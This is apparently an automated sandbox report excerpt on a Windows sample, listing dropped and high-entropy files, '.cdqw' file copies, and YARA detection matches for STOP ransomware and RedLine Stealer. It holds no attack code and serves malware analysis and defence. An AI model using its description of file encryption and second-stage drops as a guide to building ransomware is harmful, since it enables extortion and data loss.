Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{ac01b07d-c9ac-4d31-8220-3dc6d7aa0576}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{6f6a6616-c437-4533-b6a1-6b30da29cd38}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\GG9F64KE\otel-logger-104bffe9378b8041455c[1].js entropy: 7.99804797383	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230172v1.xml entropy: 7.99363270635	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\GG9F64KE\hero-image-desktop-f6720a4145[1].jpg entropy: 7.99840510923	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230170v1.xml entropy: 7.99176739925	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\EEVQAF7E\sharedscripts-939520eada[1].js entropy: 7.99660821279	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2WSRMOS6\th[1].svg entropy: 7.9932674128	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2WSRMOS6\th[1].png entropy: 7.99050780538	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2VDJ78YL\X4wIjRXDbKeGz0mzi-NAovdjKMM.br[1].js entropy: 7.99721571904	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2VDJ78YL\th[2].png entropy: 7.99178893816	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2VDJ78YL\th[1].svg entropy: 7.99358895856	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2VDJ78YL\th[1].png entropy: 7.99092190129	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2VDJ78YL\fpconfig.min[2].json entropy: 7.99059514482	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2VDJ78YL\fpconfig.min[1].json entropy: 7.9902076404	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\W5QUPS39\th[3].png entropy: 7.99314524239	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\W5QUPS39\th[2].png entropy: 7.99108485493	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\W5QUPS39\6hU_LneafI_NFLeDvM367ebFaKQ[1].js entropy: 7.99127595818	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\AOB8BVH4\th[1].png entropy: 7.99233225661	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\AOB8BVH4\4tiHI4cTzqiixje34Lb3KTOm39Q[1].js entropy: 7.99702759208	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{84c2e19f-ba07-4fa5-bd92-4f6344328293}\0.0.filtertrie.intermediate.txt entropy: 7.99455513216	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{37816485-15d3-4072-8a68-fcf015298878}\Apps.ft entropy: 7.99664269137	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{37816485-15d3-4072-8a68-fcf015298878}\0.0.filtertrie.intermediate.txt entropy: 7.99462485506	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{1e57236f-e9e3-4acc-b989-cc0469c9f062}\Apps.ft entropy: 7.99657876642	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{1e57236f-e9e3-4acc-b989-cc0469c9f062}\0.0.filtertrie.intermediate.txt entropy: 7.99501614054	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settingsglobals.txt entropy: 7.99611182938	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{84c2e19f-ba07-4fa5-bd92-4f6344328293}\Apps.ft entropy: 7.99624270149	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml entropy: 7.9956588955	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml entropy: 7.99591645597	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settingssynonyms.txt entropy: 7.99819948185	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml\YouTube.ico entropy: 7.99843534702	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak\Google Drive.ico entropy: 7.9988731271	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb\Docs.ico entropy: 7.9987915563	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag\Slides.ico entropy: 7.99875316015	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm\Gmail.ico entropy: 7.99870763787	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf\Sheets.ico entropy: 7.99882136979	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx entropy: 7.99777629932	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.99198264091	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99725181465	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99605471287	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat entropy: 7.99139347399	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99198511497	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99331956887	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99255607251	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99216160157	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js entropy: 7.99545584663	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\-U2ww19iycr3M_DiD25JdVUDdqk.br[1].js entropy: 7.99824851398	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\5_KhThI0onehz_-3sl58j0dOeLI.br[1].js entropy: 7.99866417462	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js entropy: 7.99857356914	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js entropy: 7.99846205298	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\Init[1].htm entropy: 7.99844526165	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\tIa_X3QDXj2Izj2HpQ_Mo9f1WiM.br[1].js entropy: 7.99859479754	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\pqKAmz-4RXsuUf_YO-8_wQDepUQ.br[1].js entropy: 7.99573939235	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\onra7PQl9o5bYT2lASI1BE4DDEs[1].css entropy: 7.99735398315	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js entropy: 7.99804785805	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\mb8fkd60iW7q4wvyDIlCm9OOn10.br[1].js entropy: 7.99622024438	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\yNwdh0ra_6sDoSuCVMI8Wjl58UM.br[1].js entropy: 7.99799374075	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\YfXD9vOw8__a60l-k1HNCxSbem4.br[1].js entropy: 7.99671288959	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\xIW3D5oXL8xIpGjHoiGVJS_B4mg.br[1].js entropy: 7.99689854434	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\uANxnX_BheDjd2-cdR8N9DEWlds[1].css entropy: 7.99174347055	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_061938_46c-3e0.log entropy: 7.99468686582	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js entropy: 7.99738789022	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js entropy: 7.99769326692	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\MSIMGSIZ.DAT entropy: 7.99614150956	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\super_coupon.json entropy: 7.9909176894	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\MSIMGSIZ.DAT entropy: 7.99674475955	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409603686917468.txt entropy: 7.9982224483	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409602890767950.txt entropy: 7.99833971511	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409609587090804.txt entropy: 7.99846527502	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409608313396144.txt entropy: 7.99843961298	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409607532982526.txt entropy: 7.99832130232	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409605511411373.txt entropy: 7.99791525121	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409605028834776.txt entropy: 7.99860781091	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604847938702.txt entropy: 7.99837179006	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604779873335.txt entropy: 7.99842007964	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604473729424.txt entropy: 7.99831923431	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604173107312.txt entropy: 7.99819860609	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\Local Settings\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx.cdqw (copy) entropy: 7.99777629932	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.cdqw (copy) entropy: 7.99198264091	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.cdqw (copy) entropy: 7.99725181465	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.cdqw (copy) entropy: 7.99605471287	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.cdqw (copy) entropy: 7.99139347399	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.cdqw (copy) entropy: 7.99198511497	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.cdqw (copy) entropy: 7.99331956887	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.cdqw (copy) entropy: 7.99255607251	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.cdqw (copy) entropy: 7.99216160157	Jump to dropped file
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 entropy: 7.99553172716	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.g0Zq7nJjus.exe.25e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.g0Zq7nJjus.exe.25e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.g0Zq7nJjus.exe.25d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.g0Zq7nJjus.exe.25d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.g0Zq7nJjus.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.g0Zq7nJjus.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.g0Zq7nJjus.exe.26615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.g0Zq7nJjus.exe.26615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.g0Zq7nJjus.exe.26615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.g0Zq7nJjus.exe.26615a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.g0Zq7nJjus.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.g0Zq7nJjus.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.g0Zq7nJjus.exe.26e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.g0Zq7nJjus.exe.26e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.g0Zq7nJjus.exe.25e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.g0Zq7nJjus.exe.25e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.g0Zq7nJjus.exe.25d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.g0Zq7nJjus.exe.25d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.g0Zq7nJjus.exe.26e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.g0Zq7nJjus.exe.26e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000002.2258110870.000000000244B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
